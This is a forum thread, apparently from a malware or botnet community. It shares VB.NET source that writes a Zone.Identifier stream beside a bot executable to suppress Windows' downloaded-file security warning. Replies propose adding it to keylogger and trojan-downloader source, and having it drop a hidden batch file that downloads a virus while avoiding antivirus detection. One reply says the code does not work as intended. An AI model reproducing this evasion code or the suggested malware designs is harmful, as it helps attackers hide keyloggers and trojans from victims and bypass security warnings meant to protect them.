Thread: [\[SRC\] Remove - File security warning](#)

Soul Collector - February 8, 2010, 9:14 am

This is just simple code.

Credits: f3rr3t

```
Code Public Sub ZoneID()  
    Dim command As String = "echo [zoneTransfer]ZoneID = 2 > " &  
My.Computer.FileSystem.SpecialDirectories.CurrentUserApplicationData & "\Microsoft\" &  
MainBot.exename & ":ZONE.identifier"  
    MsgBox(command)  
    If  
My.Computer.FileSystem.FileExists(My.Computer.FileSystem.SpecialDirectories.CurrentUserApplic  
ationData & "\Microsoft\" & MainBot.exename) Then  
        StartInfo.FileName = "cmd"  
        StartInfo.RedirectStandardInput = True  
        StartInfo.RedirectStandardOutput = True  
        StartInfo.UseShellExecute = False  
        myprocess.StartInfo = StartInfo  
        myprocess.Start()  
  
        Dim SR As System.IO.StreamReader = myprocess.StandardOutput  
        Dim SW As System.IO.StreamWriter = myprocess.StandardInput  
        SW.WriteLine(command)  
        SW.WriteLine("exit")  
        MainBot.ListBox1.Items.Add(SR.ReadToEnd)  
  
        SW.Close()  
        SR.Close()  
    End If  
End Sub
```

Example:

The Code is good. I will use it. Thank you very much. I searched for that long time.

Vorfin - February 8, 2010, 9:37 am

umm, this wont work, at all. It will disable it, but only after the program is run, and of course, before it is run, it gives the warning.

MonEy - February 20, 2010, 4:30 am

If this works, I'll love you forever.

But, for example you can add this into your Keylogger source and add trojan downloader so before you dl file, call Anti-File security function.

It works perfect:P

Exactly what I was thinking about. For even BETTERNESS, make it write a .bat file that runs in a hidden mode and downloads a virus. That way it won't come up as a trojan downloader on virus total or novirusthanks
